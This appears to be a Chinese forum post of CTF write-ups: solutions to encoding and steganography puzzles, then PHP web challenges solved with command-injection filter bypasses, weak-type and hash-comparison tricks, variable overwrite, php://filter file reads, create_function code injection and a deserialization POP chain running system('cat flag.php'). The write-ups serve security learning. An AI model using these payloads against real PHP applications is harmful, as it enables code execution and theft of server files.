页面的符号是
Jother编码
https://blog.csdn.net/greyfreedom/article/details/45070667
直接把编码放到浏览器控制台运行即可获取flag
flag被隐写在了图片里
按F12可以看到提示:
http://www.atoolbox.net/Tool.php?Id=699
可以用这个站点进行图片的解密看到flag
把helloworld文件下载下来
重命名给它加上后缀
.7z 或者 .zip 或者.rar
然后解压得到了几个文件
用记事本打开zansdjopw文件
翻到最下面找到flag
根据提示
10进制->字符 以及 注意颜色
将每个颜色代码里的两位数字转换成字符
就可以获取到flag了
#include <stdio.h>
int main()
{
int a[] = {79,53,53,44,78,78,78,94,85,78};
for(int i=0;i<10;i++){
printf("%c",a[i]);
}
return 0;
}
flag在音频的频谱图里
需要下载一个软件
Audacity工具(在附件里)
去查看音乐文件的频谱图
参考:https://www.pianshen.com/article/2535603446/
把txt文本里的字符按照页面提示进行转换
左正蹬 -> .
右鞭腿 -> !
左刺拳 -> ?
获取到了被Ook加密的flag
解密后得到flag
https://www.splitbrain.org/services/ook
按F12查看源码可以看到被加密后的flag
给出了一道加法数学题算出来后得到 20
20是flag加密时的密钥
用zfua{kqcykqirhwyfxexeqq}去解密得到flag
密钥是20
按F12修改源码中的maxlength的值maxlength="3"
然后再输入100即可获取到flag
F12查看源码看到了被加密的flag
function ifx(x)
{
if(x >= 1000000000000000)
{
alert("看到了就解个密吧! 加密的flag:evawvscdvcpbyxdgrvw 维吉尼亚zkaq");
}
}
这里是维吉尼亚加密
密钥是:zkaq
签到题难度解密题
将中文进行中文电码编码
中文电码:http://code.mcdvisa.com/
即可获取flag
<meta charset="utf-8" />
<?php
if (isset($_GET['url'])){
$ip=$_GET['url'];
if(preg_match("/('|>|]|&|\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i", $ip)){
die("<strong><center>非法字符</center></strong>");
}
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("<strong><center>非法字符</center></strong>");
}
$a = shell_exec("ping -c 4 ".$ip);
echo($a);
}else{
echo "<script>alert('No.......')</script>";
}
?>
用;结束ping -c 4 127.0.0.1
cat过滤用ca\t
flag * 过滤用通配符????
127.0.0.1;ca\t ????.???
审计源码
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
$str = isset($_GET['A_A'])?$_GET['A_A']:'A_A';
if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) {
echo 'A_A,have fun';
}
elseif ($str<9999999999) {
echo 'A_A,too small';
}
elseif ((string)$str>0) {
echo 'A_A,too big';
}
else{
echo file_get_contents('flag.php');
}
首先第一个if判断,可以用urlencode绕过
然后我们需要知道php中的这样一个特性
php > var_dump([]>9999999999);
bool(true)
php > var_dump((string)[]>0);
bool(false)
1
2
3
4
在php中,数组[]大于任何一个数
这样就可以成功绕过验证了
payload:
?A+A[]=admin
将汉字皎若云间月
http://gbk.hsjsj.cn/
进行先进行gbk然后再16进制编码获取flag
右击页面查看到编码后的flag
或者修改body的颜色也可以查看到被编码的flag
http://www.hiencode.com/base91.html
进行base91解码
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
直接反序列化不行 猜测在包含的时候改了 直接弱类型
<?php
$a = array('username'=>0,'password'=>0);
echo serialize($a);
//运行结果
a:2:{s:8:"username";i:0;s:8:"password";i:0;}
POST: data=a:2:{s:8:"username";i:0;s:8:"password";i:0;}
通过访问/www.rar获取源码
<?php
$c = rand(65, 122);
if(preg_match_all('/[1-9]/', @$_GET['x']) == 0){
if(chr($c) == @$_GET['x']){
echo 'flag:{xxxxxxxxxxxxxxxxxxxxxxx}';
}else{
echo '?x == '."$c";
}
}else{
echo 'No 0-9';
}
?>
随机生成65-122的数字,但是传参不允许传入数字
用burp加上26个字母的大小写进行爆破就可以获得flag了
页面提示需要玩到2048才能获取flag
直接F12修改源码中
val的值改成2048val="2048"
然后再按一下AWSD任意一键即可获取flag
右击页面查看源码可以看到flag.png
flag在flag.png中
flag做了双重加密
与佛论禅->base64 加密
按顺序解开即可获得flag与佛论禅:https://www.keyfc.net/bbs/tools/tudoucode.aspx
base64:http://www.ec95.com/
<?php
include 'flag.php';
$yds = "枫叶";
$is = "河流";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
需要进行目录扫描找到源码
NoHack.rar
解压得到源码
进行代码审计
php可变变量,仔细分析一下,发现可以构造下面的payload
?handsome=flag&flag=handsome
//这样的话,经过第二个foreach循环,$handsome就会等于$flag,$flag等于$handsome会不变,经过第三个循环第一次遍历$_GET['flag']="handsome"=$x="handsome"!='flag',退出输出$handsome即$flag的值
?yds=flag
//这样的话,在经过第二个foreach循环时,$yds就会等于$flag,在经过第三个foreach循环时,没传flag直接跳过,然后if满足条件,退出输出$yds即$flag
<meta charset="utf-8" />
<?php
@$a = $_GET['a'];
@$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))
{
echo "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
echo 'flag双重加密了';
}
else{
echo '扫描一下?';
}
?>
访问flag.php进行传参
两种方式
?a[]=1&b[]= //数组绕过
?a=QNKCDZO&b=s878926199a //md5弱比较
得到被加密的flag->base64解密->md5解密
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "index.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
这道题考的知识点比较多,分开记一下
$_SERVER[‘QUERY_STRING’]匹配绕过
$_SERVER['QUERY_STRING']返回url中查询的字符串,与此类似的还有:
$_SERVER['REQUEST_URI']返回访问此页面所需的URI
$_SERVER['SCRIPT_NAME']返回包含当前脚本的路径
$_SERVER['PHP_SELF']当前正在执行脚本的文件名
举个例子:(浏览器自动将file的url编码解码了)
可以看到,$_SERVER[‘QUERY_STRING’]和$_SERVER[‘REQUEST_URI’]在传输时不会url解码,而$_GET,$_POST会url解码,因此我们可以url编码绕过下面代码:
if($_SERVER) {
if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
字符串匹配绕过
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
echo "Neeeeee! Good Job!<br>";
}
由于没有/s修饰符用来在匹配时匹配换行符,我们可以使用%0a换行污染绕过
$_REQUEST字母匹配绕过
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
之前的参数都是GET型的,而POST的优先级比GET的要高,因此我们可以POST同样名称满足条件的值,比如数字,
数组类型的数据不需要POST,preg_match()只能匹配字符串,数组得以绕过
file_get_contents比对绕过
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
刚开始想的是php://input,后来发现要POST数据,因此便不能用了,这里可以用data://,
示例:
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
sha1比较绕过
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
直接数组绕过,或者sha1碰撞
extract变量覆盖
因为extract()函数使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]和flag[arg]的形式
create_function代码注入
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}
最后一个过滤我们可以用create_function()绕过:
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST[1]);//');
执行时相当于:
function myFunc($a, $b){
return $a+$b;
}
eval($_POST[1]);//}
先看下所有变量:
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}var_dump(get_defined_vars());//
POST: debu=1&passwd=1&file=1
<img src='ctf.bmp'/>
<?php
include 'flag.php';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
?>
第一层: md5($id) === md5($gg) && $id !== $gg
MD5强相等,数组绕过即可 /index.php?id[]=1&gg[]=2
第二层: !is_numeric($passwd) && $passwd==1234567
is_numeric()绕过:十六进制绕过、%00截断绕过、弱类型比较绕过均可 POST: passwd=1234567a
?id[]=1&gg[]=2
POST: passwd=1234567a
include $_GET['file'] 复制
目测为文件包含,尝试读index.php的源码,
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
发现被加密还原后如下:
<?php
$a = @$_GET['file'];
if (!$a) {
$a = 'index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
?>
<!--base64: ZGlyLnBocA== -->
发现提示,其实右击查看源代码也可以看到..
<!--base64: ZGlyLnBocA== -->
base64解码后得到dir.php
读dir.php
index.php?file=php://filter/read=convert.base64-encode/resource=dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
得知该文件可以列目录,尝试列目录
dir.php?dir=/
列目录看到存放站点文件的文件夹www
再列目录
dir.php?dir=/www
这样得到flag123.php文件
使用file读取,得到flag
index.php/?file=php://filter/read=convert.base64-encode/resource=flag123.php
注意给hint ?source=1
<?php
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}
getVars();
if (isset($source)) {
highlight_file(__FILE__);
}
//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}
因为环境是php7,所以没有mysql_real_escape_string函数,直接分析下面一半,相当于对单引号和双引号进行转义,但是反斜杠没有做任何操作。
$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
foreach ($_GET as $key => $value) {
global ${$key};
}
要求
md5($password) === $adminPassword 复制
php弱类型比较,考虑一种特殊情况,sha1($a)=0exxx,相当于科学计数法0,那么,爆破找出任意0exxx的变量的sha1还是0exxx。
<?php
for ($i5 = 0; $i5 <= 9999999999; $i5++) {
$res = '0e' . $i5;
//0e1290633704
if ($res == hash('sha1', $res)) {
print_r($res);
}
}
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
?source=1&adminPassword=c4ca4238a0b923820dcc509a6f75849b&password=1&verif=0e1290633704&var1=${$a($b)}&a=system&b=cat flag.php
变量覆盖 sha1弱比较 payload:
`?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000`
只是对值进行了过滤 可以用键来读取flag
?adminPassword=202cb962ac59075b964b07152d234b70&password=123&verif=0e00000000000000000000081614617300000000&GLOBALS[var1;system('cat flag.php');$a]=1
访问flag.php
并未报404,flag.php存在,需要读取里面的内容获取flag
可以看到页面显示的是源码的二进制编码
2进制转换为10进制编码
10进制编码后再进行ASCII解码,得到源码
<?php
@$str = $_GET['f'];
@$r = $_GET['r'];
$rand = rand(1,50);
var_dump($rand);
$isMatched = preg_match_all('/\$_GET|\$_POST|\$_REQUEST|file_put_contents|file_get_contents|type|dir/i', $str);
if($isMatched != 0){
die('bad hacker!');
}
if($r == $rand){
echo 'GO!<br>';
system($str);
}
?>
可以看到源码中有system()命令执行,但是正则过滤了部分命令
这里可以使用copy命令
将flag.php 复制到一个txt文件中,直接读取txt文件即可获得flag
copy flag.php 1.txt
要执行system需要满足
if($r == $rand)
我们传入r的参数需要和随机数$rand相同
$rand = rand(1,50);
生成1-50的随机数
这里使用burp抓包进行爆破随机数
构造payload:
index.php?f=copy flag.php 1.txt&r=1
抓包后进行payload设置
跑包结束,进行排序
访问/1.txt即可获得flag
<?php
include 'flag.php';
highlight_file( __FILE__);
function filter($string){
$filter = '/flag/i';
return preg_replace($filter,'flagcc',$string);
}
$username=$_GET['name'];
$pass="V13tN4m_number_one";
$pass="Fl4g_in_V13tN4m";
$ser='a:2:{i:0;s:'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";
$authen = unserialize(filter($ser));
if($authen[1]==="V13tN4m_number_one "){
echo $flag;
}
if (!isset($_GET['debug'])) {
echo("PLSSS DONT HACK ME!!!!!!").PHP_EOL;
} else {
highlight_file( __FILE__);
}
?>
<!-- debug -->
变长的反序列化逃逸
index.php/?debug&name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;s:19:"V13tN4m_number_one ";}
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="css.css">
<title>空白页面</title>
</head>
<div class="overlay">
<div class="hero">
<h1>这是一个<span>空白页面</span></h1>
<h3>别找了小hacker, 这里什么都没有</h3>
<h3>p 我是传参名-------------10086:看看我</h3>
</div>
</div>
</html>
<?php
error_reporting(0);
$p = $_GET["p"];
if (isset($p)) {
echo '恭喜你获得了flag!,去访问flag.txt吧';
$i = 1;
while($i != 100){
file_put_contents('flag/flag'.$i.'.txt','访问下一个吧!flag'.($i+1).'.txt');
$i = $i+1;
}
file_put_contents('flag/flag10086.txt','flag{FORFIVEASJDLAJSLQWEOIAS}');
} else {
echo "NONONO";
}
?>
对p任意传参,生成了102个flag.txt
正确的flag在flag10086.txt里面
访问flag/flag10086.txt
<meta charset="utf-8" />
<h3>Jack Love Rose<h3/>
<h3>此题有一定难度,有关反序列化<h3/>
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>
题目所涉及到的魔术方法:
PHP
__call() // 在对象上下文中调用不可访问的方法时触发
__set() // 用于将数据写入不可访问的属性
__invoke() //当尝试将对象调用为函数时触发
首先看到 Rose 类中有一个 eval 函数可以执行任意代码,但是需要绕过:
PHP
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) )
这个乍看一眼在 CTF 的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是 md5() 和 sha1() 可以对一个类进行hash,并且会触发这个类的 __toString
方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString
方法。
所以我们可以使用含有 __toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception
和 Error
,他们之中有一个 __toString
方法,当类被当做字符串处理时,就会调用这个函数。
这里以Error
类为例,我们来看看当触发他的 __toString
方法时会发生什么:
PHP
<?php
$a = new Error("payload",1);
echo $a;
输出如下:
PHP
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
发现会以字符串的形式输出当前报错,包含当前的错误信息(payload)以及当前报错的行号(2),而传入 Error("payload",1)
中的错误代码“1”则没有输出出来。
在来看看下一个例子:
PHP
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下:
PHP
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见,$a
和 $b
这两个对象本身是不同的,但是 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
Exception
类与 Error
的使用和结果完全一样,只不过 Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。
那么我们的思路就来了,我们可以将题目代码中的 $syc
和 $lover
分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString
方法输出的结果相同即可。所以绕过这一步分的 Payload 大致如下:
PHP
$payload = "?><?=system('cat /flag')?>";
$a=new Error($payload,1);$b=new Error($payload,2);
$eval = new Rose();
$eval -> var1 = $a;
$eval -> var2 = $b;
接下来我们解决的便是如何调用 Rose 类中的 __invoke
方法来执行 eval 了。在 Love 类的 __call
方法中有一个 call_user_func 函数,我们可以通过这个函数来触发 Rose 类中的 __invoke
方法。
然后便是去找能够触发 Love 类中 __call
方法的地方,看到了 Jack 类的 __set
方法中的 $b->$a();
我们可以将这里的 $b
赋为 Love
类的一个对象,这样便可以触发 Love
类中的 __call
了。Titanic 类中的 $this->people->action=$this->ship;
可以触发 Jack 类的 __set
方法。
所以最终的 POC 如下:
PHP
<?php
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
var_dump(sha1($this->var1));
var_dump(sha1($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}else{
echo 'nonono';
}
}
}
$poc = new Titanic();
$poc -> people = new Jack();
$poc -> ship = new Love();
$payload = "?><?=system('cat flag.php')?>";
$a=new Error($payload,1);$b=new Error($payload,2);
$eval = new Rose();
$eval -> var1 = $a;
$eval -> var2 = $b;
$poc -> ship -> var = $eval;
echo urlencode(serialize($poc))."\n";
// 输出: O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7D
?love=O%3A7%3A%22Titanic%22%3A2%3A%7Bs%3A6%3A%22people%22%3BO%3A4%3A%22Jack%22%3A1%3A%7Bs%3A12%3A%22%00Jack%00action%22%3BN%3B%7Ds%3A4%3A%22ship%22%3BO%3A4%3A%22Love%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A4%3A%22Rose%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3F%3E%3C%3F%3Dsystem%28%27cat+flag.php%27%29%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A29%3A%22C%3A%5CphpStudy%5CWWW%5Cwww%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A53%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D%7D
<meta charset="utf-8" />
<h2>拼手速的时候到了,冲鸭!!!<h2/>
<script>alert('点击满1000w下就可以获得flag')</script>
<html>
<title>手速小游戏</title>
<head>
<SCRIPT type="text/javascript" src="http://localhost/iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu"></SCRIPT>
<SCRIPT type="text/javascript">
var maxtime = 30 * 60; //一个小时,按秒计算,自己调整!
function CountDown() {
if (maxtime >= 0) {
minutes = Math.floor(maxtime / 60);
seconds = Math.floor(maxtime % 60);
msg = "距离页面刷新还有" + minutes + "分" + seconds + "秒";
document.all["timer"].innerHTML = msg;
if (maxtime == 5 * 60)alert("还剩5分钟");
--maxtime;
} else{
clearInterval(timer);
location.reload();
}
}
timer = setInterval("CountDown()", 1000);
var x=0;
function CS()
{
x+=1;
div.innerText=x;
if(x >= 10000000)
{
alert(flag);
}
}
</SCRIPT>
</head>
<body>
<div id="timer" style="color:red"></div>
<div id="warring" style="color:red"></div>
<input type="button" value="赶快点我吧!" onclick="CS()"/>
<div id=div></div>
</body>
<script></script>
</html>
这道题相对简单,只需要查看源码
可以在
<script></script>
中间加上alert(flag);
就可以弹出flag
也可以直接访问iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu即可获得flag
/iuuiiuqiweuiqwueiqiuweuqwieuuniuqwehiuqwhieu
flag做了双重加密
音符加密->盲文加密
按顺序解密即可音符解密:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue
盲文解密:https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
牛宝宝 | 4.00 | 0 | 2022-04-02 15:03:04 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
audacity_3.1.2_64bit.rar 文件大小:32.584M (下载次数:6)
© 2016 - 2024 掌控者 All Rights Reserved.